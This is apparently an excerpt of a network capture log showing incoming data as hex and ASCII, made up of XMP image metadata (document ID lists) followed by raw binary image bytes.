2022-07-20 17:08:50 UTC	3688	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 37 31 44 39 34 33 32 30 33 32 31 31 36 38 41 45 35 36 41 39 33 41 42 46 30 32 34 39 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 39 43 37 45 46 31 39 35 32 30 36 38 31 31 38 33 44 31 38 45 41 41 46 31 33 35 44 32 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 41 41 36 34 37 38 44 44 42 31 44 46 31 31 42 34 41 35 43 33 30 36 41 37 30 36 35 41 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 41 42 41 42 42 37 35 31 32 30 36 38 31 31 38 44 42 42 42 34 36 39 35 30 34 41 39 42 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 43 33 39 38 39 42 46 35 32 Data Ascii: :li>xmp.did:DA71D94320321168AE56A93ABF0249E4</rdf:li> <rdf:li>xmp.did:DA9C7EF19520681183D18EAAF135D2B3</rdf:li> <rdf:li>xmp.did:DAAA6478DDB1DF11B4A5C306A7065AEB</rdf:li> <rdf:li>xmp.did:DAABABB7512068118DBBB469504A9B34</rdf:li> <rdf:li>xmp.did:DAC3989BF52
2022-07-20 17:08:50 UTC	3704	IN	Data Raw: 2e 64 69 64 3a 46 33 44 41 42 38 35 35 31 38 32 30 36 38 31 31 38 30 38 33 38 41 34 43 42 32 32 39 32 34 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 33 46 34 32 33 33 41 32 41 38 32 45 31 31 31 42 45 43 45 42 32 33 35 33 43 43 45 41 41 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 31 39 42 45 36 33 32 38 32 30 36 38 31 31 42 38 34 30 38 39 41 46 33 35 41 37 36 35 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 32 45 46 42 35 30 30 38 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 33 32 42 44 37 42 34 32 43 38 45 32 31 31 39 42 Data Ascii: .did:F3DAB8551820681180838A4CB22924AE</rdf:li> <rdf:li>xmp.did:F3F4233A2A82E111BECEB2353CCEAA07</rdf:li> <rdf:li>xmp.did:F419BE6328206811B84089AF35A765DB</rdf:li> <rdf:li>xmp.did:F42EFB500820681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:F432BD7B42C8E2119B
2022-07-20 17:08:50 UTC	3712	IN	Data Raw: 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 38 36 41 45 41 35 34 46 42 38 38 30 44 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 33 41 45 45 33 45 32 32 39 46 43 38 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 43 30 43 34 33 33 35 44 34 37 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 44 30 46 37 41 44 36 44 36 42 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 46 41 38 36 Data Ascii: 77F117407206811A86AEA54FB880DE8</rdf:li> <rdf:li>xmp.did:F77F117407206811A93AEE3E229FC8F5</rdf:li> <rdf:li>xmp.did:F77F117407206811A961C0C4335D47EB</rdf:li> <rdf:li>xmp.did:F77F117407206811A961D0F7AD6D6BC1</rdf:li> <rdf:li>xmp.did:F77F117407206811A961FA86
2022-07-20 17:08:50 UTC	3728	IN	Data Raw: 32 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 41 33 30 44 44 44 35 45 44 41 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 44 32 46 42 46 44 44 41 32 30 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 35 41 35 41 35 33 45 37 36 46 42 42 46 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 34 44 42 37 37 36 34 41 42 36 38 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: 224</rdf:li> <rdf:li>xmp.did:FF7F11740720681192B0A30DDD5EDA64</rdf:li> <rdf:li>xmp.did:FF7F11740720681192B0D2FBFDDA206A</rdf:li> <rdf:li>xmp.did:FF7F117407206811A5A5A53E76FBBF7E</rdf:li> <rdf:li>xmp.did:FF7F117407206811A94DB7764AB68F8D</rdf:li> <rdf:li>xm
2022-07-20 17:08:50 UTC	3744	IN	Data Raw: 63 30 62 62 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 66 62 37 36 39 65 33 2d 33 31 39 35 2d 34 64 63 39 2d 62 39 36 30 2d 61 39 38 35 63 39 35 65 38 66 61 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 30 31 62 66 30 38 30 2d 66 38 39 36 2d 35 66 34 34 2d 38 39 36 33 2d 62 31 38 63 66 31 38 61 38 30 62 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 30 33 38 62 64 38 31 2d 39 39 37 61 2d 61 33 34 61 2d 39 31 61 61 2d 36 36 61 39 39 36 30 66 34 64 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 30 35 38 62 33 66 36 2d 33 32 38 65 2d 34 31 30 38 2d 61 34 61 38 2d 66 37 61 36 63 35 37 39 39 62 32 33 3c 2f Data Ascii: c0bb0</rdf:li> <rdf:li>xmp.did:cfb769e3-3195-4dc9-b960-a985c95e8fad</rdf:li> <rdf:li>xmp.did:d01bf080-f896-5f44-8963-b18cf18a80bf</rdf:li> <rdf:li>xmp.did:d038bd81-997a-a34a-91aa-66a9960f4d88</rdf:li> <rdf:li>xmp.did:d058b3f6-328e-4108-a4a8-f7a6c5799b23</
2022-07-20 17:08:50 UTC	3751	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 36 36 62 38 64 34 32 2d 37 34 37 62 2d 34 32 65 33 2d 61 64 37 63 2d 38 66 30 37 33 38 64 37 33 34 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 36 38 63 35 35 32 35 2d 33 31 39 61 2d 34 37 36 35 2d 61 65 36 32 2d 31 39 66 36 64 35 64 38 31 37 65 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 36 39 32 31 63 37 65 2d 63 39 32 62 2d 34 63 34 32 2d 62 62 32 31 2d 66 35 62 61 34 33 31 61 65 65 65 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 37 31 63 31 38 37 36 2d 36 38 66 30 2d 34 65 32 30 2d 62 33 61 39 2d 36 37 61 62 34 33 32 66 64 33 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: rdf:li>xmp.did:e66b8d42-747b-42e3-ad7c-8f0738d734c5</rdf:li> <rdf:li>xmp.did:e68c5525-319a-4765-ae62-19f6d5d817ea</rdf:li> <rdf:li>xmp.did:e6921c7e-c92b-4c42-bb21-f5ba431aeee7</rdf:li> <rdf:li>xmp.did:e71c1876-68f0-4e20-b3a9-67ab432fd364</rdf:li> <rdf:li>
2022-07-20 17:08:50 UTC	3767	IN	Data Raw: 00 c0 10 c0 c0 10 c4 08 0b 60 81 4f 06 28 c0 30 62 30 00 01 80 c0 01 00 40 80 06 23 00 c8 32 30 78 9a f0 94 85 16 bf a2 d2 c5 99 39 4a ac b5 60 da a4 26 c6 70 84 be 98 ab e9 23 46 4e 52 ab 54 80 c6 71 6b 64 1a cd 22 e2 44 12 40 c9 9c 48 38 a2 d1 58 9b 13 90 40 c8 84 04 24 63 31 82 00 18 0a a0 e9 a0 c5 10 aa 4e a0 d5 8c 93 22 03 30 26 d1 00 80 02 20 de a9 6b ec f6 f3 e7 99 d5 c9 7e 6b 6c 44 1b d8 4a 42 a2 0a c2 31 bb 2c 2c 18 b8 c9 36 f2 53 fa eb b0 d9 9e 83 55 8a 41 bc c7 59 49 d4 ee b6 65 45 a4 9a e9 bf 85 ce 15 51 72 51 12 7e c4 7d bb c6 1c 99 a2 85 b0 41 58 61 ab 16 e2 33 77 55 8f 29 be 4f 3e 99 dc bb 71 35 14 a4 a8 d3 27 46 8c 07 f4 dd 2d 97 53 da ae 79 4d d2 59 ee 98 cb a1 cd 76 24 d2 52 4a a6 64 35 b2 15 fd b9 63 74 e6 42 75 c7 e8 a2 bb bb 9f 0d ab Data Ascii: `O(0b0@#20x9J`&p#FNRTqkd"D@H8X@$c1N"0& k~klDJB1,,6SUAYIeEQrQ~}AXa3wU)O>q5'F-SyMYv$RJd5ctBu
2022-07-20 17:08:50 UTC	3783	IN	Data Raw: 22 89 b0 82 be 7a db 55 c4 95 91 36 88 ca 3b 63 9b 54 15 a4 92 35 c6 89 d5 ae 99 93 c9 06 4a 3e 52 9f ae 15 4b 2c fa b4 a7 e8 c6 01 41 24 11 c4 1a 16 81 a0 92 4d c5 19 44 1a c6 03 58 02 18 19 28 94 88 49 15 85 11 64 89 24 00 57 1c 60 11 2b 0c 0b 46 67 8c 94 8c 8c 99 94 8e 06 4f 14 84 12 94 19 dd 4a 36 56 0e 2a 0d 48 b5 14 d4 8b 3a 6a 45 98 60 e2 d2 ea 99 df 4b 79 d6 de ca 41 c5 55 35 e1 60 0a 3b 46 52 4a 22 32 c9 34 9d 4d 6d a5 ad 94 a1 65 45 71 23 49 4a 28 4e b2 4a 06 60 89 45 25 61 23 29 18 05 06 40 8f 00 44 2c 32 60 cc 41 d4 97 8c 9d d7 6a b1 9a b1 90 a6 aa 92 b1 78 05 92 10 8f b6 ae 6d f4 5c 3d 01 dd e2 b7 b2 bc 68 cc 24 9b 98 24 da 6b 24 76 c4 58 c0 88 49 8a 44 c4 f7 47 17 ad d0 1e 7f b5 68 cb 6a 72 47 8c 9e d3 7c c6 4d 92 34 69 52 16 23 28 55 76 64 Data Ascii: "zU6;cT5J>RK,A$MDX(Id$W`+FgOJ6V*H:jE`KyAU5`;FRJ"24MmeEq#IJ(NJ`E%a#)@D,2`Ajxm\=h$$k$vXIDGhjrG\|M4iR#(Uvd
2022-07-20 17:08:50 UTC	3791	IN	Data Raw: 27 f5 c9 16 a6 b3 5d 2d 9b 5c 55 f5 6e 0f 35 e9 9f f2 bb 1c 7b ee fc 1d 47 77 38 e0 de 48 8d 80 92 63 c8 31 68 01 b3 42 0a 21 54 d3 61 d2 67 34 ba 6d d8 61 02 1c a1 36 90 60 02 c8 5a 2d 5a db 5a db 58 a1 04 58 e2 2d 78 8a 45 27 21 19 06 41 58 46 9b b4 71 b2 b0 04 3d 81 8c 00 38 20 c4 c4 0c 2b 0e 30 04 e4 b1 b5 a2 88 c5 25 33 a4 55 17 d5 3a c6 1b 6b 31 94 23 94 5c a4 bc 53 e8 36 d2 45 90 78 85 93 73 10 ac 46 43 69 8d d9 25 05 8e 4b 28 a7 24 fa a1 36 37 9b 5f 2b 8b e4 e8 73 be 98 9f 0f d2 af e1 ba 37 93 a7 70 7b fe 43 9e de 7a e7 82 dc 84 25 35 ec b0 ca 79 bd 31 7e 67 77 35 3d 33 7d 4a 77 8f d1 b8 32 e4 7d 15 fc df f6 97 7d 5a aa 9e 8f 81 e8 2f e7 4f a4 48 e2 8a d7 44 25 1a ee 99 79 53 f4 6f 11 e6 c7 b9 f2 37 4c b4 c3 df 6d 27 4c b0 64 93 8b 93 9a aa b9 74 Data Ascii: ']-\Un5{Gw8Hc1hB!Tag4ma6`Z-ZZXX-xE'!AXFq=8 +0%3U:k1#\S6ExsFCi%K($67_+s7p{Cz%5y1~gw5=3}Jw2}}Z/OHD%ySo7Lm'Ldt
2022-07-20 17:08:50 UTC	3807	IN	Data Raw: d6 6a 26 ec 84 b5 f0 f6 3f c0 fd 1f cc 7f 43 e5 fd 48 e1 fa 1f 9f ae af 07 d9 fc 1a fc 47 e9 73 7d a5 e7 6e d6 7d 4c ba 4e 76 52 9c bc d4 a3 99 e9 7e 6f 57 31 8b 7b bb 7c ef a1 36 d3 e2 be f8 f7 5e 7c fe 7d 4f 47 a9 f9 ea d8 95 7a 2e 21 c5 d0 ab fa 0f 25 ad 36 f3 7b 23 6d 3c 71 cb f4 3d 85 bb 0e bb af 4d 7e 9d 5b ff 00 a3 8b b5 b8 9a b9 2f e5 be 87 b9 be a1 cb e1 5f 19 d8 ef 1f 63 cf f1 93 ab e6 fd 86 e6 f6 38 3f 5e f0 8c 78 ef 99 9d 7e a6 2d fb 5e fd 5d 76 2f 25 f9 1c bf 63 ba f5 b5 f0 7e 9e cd c9 d7 ce 1e db cd 5e b9 96 6a 1f 4d c2 de 3e 5f b8 f7 6d 37 6e 27 6f 4c 74 f3 0f 8f d1 a1 7d 1f 32 b3 d6 a2 d7 c1 f4 bd cf e5 fd 8f 0e fa 8f 09 54 35 fb 63 c6 ef 79 4d e9 bc 9c 95 99 35 07 a3 e5 c6 67 9e d7 e3 6c a1 fb 0e 36 f0 66 9c e4 af 57 3c 87 a2 e3 6d f7 73 Data Ascii: j&?CHGs}n}LNvR~oW1{\|6^\|}OGz.!%6{#m<q=M~[/_c8?^x~-^]v/%c~^jM>_m7n'oLt}2T5cyM5gl6fW<ms
2022-07-20 17:08:50 UTC	3823	IN	Data Raw: 7f 2f ef 79 6b db fc 79 bd d8 63 e3 22 4e 31 51 71 b1 6d 59 b9 38 de 8f b0 be 77 eb f8 0b ec 5f 2d 24 ea db 5e 6f db bb cf b7 4e fa 5f 06 36 d3 d0 9e 43 e8 ba d3 b1 c8 a9 75 3c ea 75 cf b4 7e 63 f4 ad 7f d2 aa f7 c8 b6 67 05 9a d3 a6 68 9f 5b ce eb af 07 db e7 8f 67 e7 b5 57 a0 f3 5b c3 83 ea b6 ff 00 9b ea 68 1f 59 81 85 f9 f6 2f 3a 7b f3 c7 f4 f9 c3 d8 e0 a8 74 31 3e 54 f4 5f 8a ee a3 77 47 4d fa 2e 37 3f 7b 0f 96 f4 87 8c fa 5e 82 f5 1e 36 b9 b3 87 b1 38 7e bb be 7e 47 ed a0 65 1e 6e f5 f9 69 1d 1a 75 47 57 93 db 3f 33 f5 4c e2 f5 7f a1 cd d0 9e 47 74 33 5a e7 bf 96 53 14 75 4f a6 cf 41 ec 65 d7 3d cf 2d 1b 67 3b 61 f0 7d 61 22 6a be f7 8d 89 96 37 9a aa 4c 48 c6 45 04 53 46 12 4e 9b 26 72 f5 3a 07 c6 fd c3 aa be 79 ee e2 77 d1 c8 3f 57 f8 35 5e fc 8e Data Ascii: /ykyc"N1QqmY8w_-$^oN_6Cu<u~cgh[gW[hY/:{t1>T_wGM.7?{^68~~GeniuGW?3LGt3ZSuOAe=-g;a}a"j7LHESFN&r:yw?W5^
2022-07-20 17:08:50 UTC	3831	IN	Data Raw: 4d 76 56 14 c1 10 0a 7b 70 8f d2 ca ca ca 05 65 04 10 08 35 71 5c 32 bc 6b 82 e0 83 50 0b 1f 20 2e 28 35 06 a0 10 6a 01 00 80 fe ac 2c 2c 2c 2c 7f 40 2b 28 94 4a 05 65 03 f1 9f 82 b2 b3 f2 4a 25 38 e1 58 b8 c9 0e e7 65 f9 6f e6 9a 38 a8 24 8d 88 ec d9 8a 77 19 3c 3b 0f b7 27 7d a7 7d 2f 29 09 b6 42 f3 34 ae 60 ac a2 51 45 71 40 14 1c 53 5c 10 21 35 e5 09 17 e4 61 0b 80 21 6c 23 60 14 e9 d7 9d 0b 08 5a 21 7e 69 4e ba 4a 75 a2 57 e4 10 85 84 6c 12 8d b2 11 b4 e2 bc e5 09 d4 56 f0 85 96 95 e6 0b cc 13 a6 08 bb 2b 92 25 11 95 c4 af 1a f1 2f 0a f0 2f 01 09 b1 14 21 2b c0 8c 24 2f b0 83 b2 83 97 35 e4 29 b6 0a 6c eb c8 10 78 5c c0 5e 40 83 90 40 20 d5 c4 2e 01 04 0a ca ca ca e4 b9 20 56 56 50 f9 ca 07 e7 2b 2b 3f 39 59 59 59 59 fe 8c ac ac ac ac ac fc 65 65 65 Data Ascii: MvV{pe5q\2kP .(5j,,,,@+(JeJ%8Xeo8$w<;'}}/)B4`QEq@S\!5a!l#`Z!~iNJuWlV+%//!+$/5)lx\^@@ . VVP++?9YYYYeee
2022-07-20 17:08:50 UTC	3847	IN	Data Raw: 3b ed 00 16 40 41 63 2b 18 20 a3 f6 89 fb b7 1f 30 c4 14 83 ee 47 e5 06 e5 7d 63 97 db 09 47 f9 b0 0e 5e e0 03 21 c9 8e 2c 91 50 84 da e3 0d 68 08 bc 35 09 03 83 1c 48 38 4d fa 52 bb fb 98 30 48 40 71 2e 6e 40 6e 13 9c 02 c3 5c 56 13 5d 94 58 b0 b0 80 43 e0 05 85 85 85 c5 71 5c 56 10 1f 00 7f 49 1f 3c 57 04 58 8b 4a fb 43 3f 19 41 c8 3d 07 84 1e 10 72 04 2e 21 18 b2 bc 2b c5 85 c5 01 84 08 43 08 61 7d 20 42 0f c2 13 61 0b 01 09 72 bc 8b c9 95 94 10 25 72 2b 91 5e 42 bc 8b c8 bc 8b c8 8c e0 27 5c 01 1b e5 7e 61 28 d8 25 79 09 45 c4 ac 15 82 b8 95 e1 ca 35 d7 e3 a1 5d 78 42 f1 05 c4 0f 80 be 97 d2 fa 5c 82 0f 08 48 d5 e5 6a f3 35 79 da b5 5a e3 6d 45 0b 62 0b 1f 39 f8 c2 25 13 f1 cb 08 e5 35 b9 5c 51 0b 0b 0b 1f 18 45 8b f9 5f c2 70 ca e2 b1 f6 59 95 94 e7 Data Ascii: ;@Ac+ 0G}cG^!,Ph5H8MR0H@q.n@n\V]XCq\VI<WXJC?A=r.!+Ca} Bar%r+^B'\~a(%yE5]xB\Hj5yZmEb9%5\QE_pY
2022-07-20 17:08:50 UTC	3863	IN	Data Raw: 6f 6b 94 1d 61 cd 62 ec a5 e2 bf 54 91 8d 6f 6a 6c 8c 8b af b4 49 1f 6c 71 e3 a0 89 b6 23 ec 15 3c 03 ac b8 4a b7 f4 db 14 3d 66 52 e9 b6 95 98 60 ab a8 78 31 c9 e2 6b ac bd ca 39 cb 03 5e e9 1d 14 1c 54 8c c0 b2 ff 00 0c 6d d8 97 19 24 21 6c 65 2e 65 e6 66 4a d3 b0 47 24 5c 89 89 6a 2c b2 a8 dc 4e db 4f 11 05 13 38 3a e6 db f2 1b 52 3c 49 40 1f 10 8d ec 2e 8c c6 98 d2 e3 1c 6f 71 9a 32 d3 c3 ee c5 1f 10 03 0a 38 bf b7 f0 78 a2 df b6 d6 69 8d fa f6 46 8b 7e f7 cf f1 b7 4d 18 7c 8c a8 d7 3f 77 08 64 71 a2 b7 11 e6 8f ae dd f7 60 65 d0 b7 fb a0 8c 2b ad cb 58 df b6 47 99 ac 42 3c a4 61 39 42 d0 6b c6 df ee d8 0f f9 7f 96 e8 9a 7c 86 3c 49 65 85 d5 3b 03 c8 9b 71 11 17 f4 ef e7 1c ae fe c9 b2 9d fc 6a 0e 1b 74 82 36 d8 26 90 ff 00 96 08 d6 c0 82 c9 0f d1 39 Data Ascii: okabTojlIlq#<J=fR`x1k9^Tm$!le.efJG$\j,NO8:R<I@.oq28xiF~M\|?wdq`e+XGB<a9Bk\|<Ie;qjt6&9
2022-07-20 17:08:50 UTC	3871	IN	Data Raw: a4 91 da ed 51 6c 07 af c4 af 51 6d 56 bf 4b 3b 93 35 92 c7 2b 34 b1 b5 43 a9 6b 93 f5 55 a4 4c d4 42 d2 fa bc 8c ba 70 05 c8 62 8c 41 52 32 d6 b2 38 9f 2d ec 19 2f f3 54 2b c7 23 a3 d2 89 9d 36 a9 b5 56 a2 52 e5 b8 ee 96 3c 8d de 72 35 3c 4f 5a 9d 87 81 bf e5 83 99 16 cd d4 d1 d9 ba 78 86 fd d8 6d d7 3e 69 ee 3a 05 7a f0 8e 0b b2 36 12 dd 90 91 f0 6d a6 0e 63 8b c4 32 35 a9 b2 35 ce 96 78 f9 c9 76 12 ff 00 f2 31 e2 5d 9b 13 76 ac 68 9f 61 11 36 2f c2 15 bd a3 43 6c 5e 96 59 62 b3 6f 55 2e af 68 cb 2c af 14 57 13 e1 fc 77 d7 a2 5d 2d 3b 2e 82 5d 95 d1 23 26 ac 2c 29 f5 9e 55 e2 01 b1 55 20 f8 f0 1f 59 ce 94 82 47 8f ec 96 35 41 5c e6 c5 60 e7 36 a9 26 c4 18 36 6b 17 bf 58 c1 19 d9 ce 08 7b b8 3f c4 f9 13 21 e2 05 22 f5 7b 11 39 c0 38 3a c3 6a 8b 16 e4 99 Data Ascii: QlQmVK;5+4CkULBpbAR28-/T+#6VR<r5<OZxm>i:z6mc255xv1]vha6/Cl^YboU.h,Ww]-;.]#&,)UU YG5A\`6&6kX{?!"{98:j
2022-07-20 17:08:50 UTC	3887	IN	Data Raw: 5f 8a e0 bc 07 85 9a e5 af ab 1a 94 7d 54 99 a4 c0 c6 95 52 16 95 0c 40 29 43 48 d8 c2 c0 ed 7b 72 62 68 c3 5b 94 d6 8f e8 28 94 7e 96 c6 27 3d bb 28 f8 b9 ed 61 76 b6 a3 9e ed 7d 63 13 66 6a 96 3c a6 c7 c5 3f 88 6e c1 8d 0e 92 40 06 ed d9 2e 38 55 ff 00 98 9a 4a 86 37 2d 1b 16 d5 e5 91 f6 09 1c e7 4c fe 4d ac cc 32 94 60 b8 c6 d0 b4 25 a1 bb f3 86 ee 5d c8 06 e0 b8 02 df a0 ba 73 03 dd 50 0c 4a d0 57 74 66 59 50 fd 4f fc 75 79 38 c9 3c 67 8d c8 f0 5c 30 a1 38 5a f2 4a 9a 2c 8f ff da 00 08 01 03 00 01 05 00 40 2c 23 ff 00 e2 f2 b3 f1 9f ea 3f 48 fc 05 95 9f 81 f7 f1 9f 8c ac ac ac ac ff 00 51 3f fe 0b 1f 18 f8 08 48 02 f2 2f 20 46 44 5d 9f 86 84 0e 17 3c ac a0 e4 1c 8b d7 25 cc a2 ec a6 bd 72 4e 71 4d 5c b0 84 a5 36 62 a4 95 1f ee 58 5c 51 62 c2 c7 f4 13 Data Ascii: _}TR@)CH{rbh[(~'=(av}cfj<?n@.8UJ7-LM2`%]sPJWtfYPOuy8<g\08ZJ,@,#?HQ?H/ FD]<%rNqM\6bX\Qb
2022-07-20 17:08:50 UTC	3903	IN	Data Raw: 78 0a f0 94 63 5e 25 e2 0b c4 11 89 59 b0 c8 50 d9 44 5b 26 de 16 a9 f7 59 52 6c a4 72 7c 85 c8 2e 2b 1f 04 ac ac ac ac a3 fd 19 f8 1f 18 58 f8 c2 c2 03 e0 fc 61 01 85 9f 9a cf cb 1a 49 5f ca c1 44 26 ac 26 95 85 85 94 e2 4a 03 e4 9c a3 83 f0 0f c1 19 43 e1 a9 c1 12 0a cf c0 7a 6e 50 05 11 90 56 50 5f c2 c8 08 a6 8f b6 37 ed 83 ec 1c 7c 1c ac 14 f1 f4 c0 82 73 32 99 f4 8c 80 27 4e d4 65 5e 51 96 38 14 4a c1 40 22 13 1b 94 e1 c5 79 50 04 a1 92 8b 38 a0 0a e1 85 93 8e 0e 29 8d c2 77 da 21 71 5c 57 05 e3 46 35 c1 78 d1 8d 78 d7 8d 78 d7 1c 2c 2c 2c 7f ad 85 85 85 85 c5 61 61 04 0a 28 a2 ec 2e 6b 9e 56 56 02 e2 17 04 63 46 14 e8 53 a1 4e 89 78 d7 8d 70 41 88 46 9f 00 29 f0 96 ae 0b 82 f1 2f 0a f1 61 16 e1 63 e7 2b 9a 2f 5e 44 e7 e5 39 c8 94 4a 28 84 42 21 61 Data Ascii: xc^%YPD[&YRlr\|.+XaI_D&&JCznPVP_7\|s2'Ne^Q8J@"yP8)w!q\WF5xxx,,,aa(.kVVcFSNxpAF)/ac+/^D9J(B!a
2022-07-20 17:08:50 UTC	3910	IN	Data Raw: d5 39 3a f5 5e bb 9a e0 d2 81 29 99 40 14 ef b4 30 17 8d 10 13 60 2e 1f 86 e0 df 01 70 f1 9c 11 85 fc 29 49 c0 21 31 c5 a6 67 73 6e c6 47 35 ba d3 9b 17 58 f3 1e 4c 2c f3 bc 9b 52 c8 d3 4f 5f 95 f4 15 dd 83 1b 2b 5b f4 ff 00 f9 08 af 13 a5 b5 4b 81 b3 7b c0 2b dc f2 b1 df 45 f1 d6 9c 58 a0 02 1a 87 01 1e ad d2 36 cd 53 03 9b 10 26 bd 53 21 8b ad 5a 9c d5 e9 4d 0a be 86 ad 51 f8 ec cf 8d aa fe 92 1b ab ff 00 0e 81 c9 bd 42 26 9d 87 54 90 3e fd 27 55 73 35 ee 2e 74 89 ef fb d5 d8 31 bf 73 72 72 e1 21 0e 9a c1 0f 63 f2 cb 52 1c f2 e5 1e aa fc 41 9b 1b 34 df 1b 5e 40 6b ce 26 39 3a fb 3f 8a 76 56 05 a7 57 db be 18 bc ff 00 6e 77 23 04 be 27 3b 7c c7 89 6c 64 65 57 93 80 2d c8 99 fc df 67 e9 b2 eb 5d 51 9f 90 eb 49 f0 78 0d 7a f1 48 ff 00 f1 30 94 fd 24 6e 02 Data Ascii: 9:^)@0`.p)I!1gsnG5XL,RO_+[K{+EX6S&S!ZMQB&T>'Us5.t1srr!cRA4^@k&9:?vVWnw#';\|ldeW-g]QIxzH0$n
2022-07-20 17:08:50 UTC	3926	IN	Data Raw: 20 7e 0c 32 2f 13 c2 86 1f 20 87 54 5e a5 d6 78 d0 a6 1c 59 a5 2f 6c d4 0b 1c 6a 16 86 d3 70 4c a6 e0 45 29 0a 65 07 81 fe 2d e5 7f 8c 91 a8 6b dc 1f 25 17 af c5 39 96 10 c5 96 14 2b 07 03 55 78 f2 84 0e 09 b1 12 8d 72 50 ab 95 1d 70 d4 2b 10 9b 50 af c7 73 94 30 3b 1f 8e 5c 24 a2 f7 9d 96 82 5d 71 10 12 a5 83 82 f1 92 86 1a ae c6 d6 7c 47 fe e6 3c 28 dc 14 76 48 13 e8 9c c7 d0 ea d5 e6 6f fe 25 ae 6b 66 eb b0 c6 1b ad 79 36 e0 f1 52 0d 0b 8b 71 58 81 1b 5c 8b 81 6c 2e 64 0a e6 c4 35 6c ed ba c8 86 83 9c 8d 5c 3a ad af 19 a1 b0 e4 1d 1b 1a f7 c4 33 6a 28 6b d8 bb 7d a0 6d 71 64 cf af 7b 54 ba e9 1e ad d2 74 52 eb 75 ce b2 9d a1 95 a9 d0 18 8b b5 0f b4 c8 ba ec cf 71 ea 52 65 fd 36 62 b7 5a 47 d1 28 a1 fd 18 f9 c2 0d c1 a8 c2 1c d6 ac a7 28 60 74 89 cd 2d Data Ascii: ~2/ T^xY/ljpLE)e-k%9+UxrPp+Ps0;\$]q\|G<(vHo%kfy6RqX\l.d5l\:3j(k}mqd{TtRuqRe6bZG((`t-
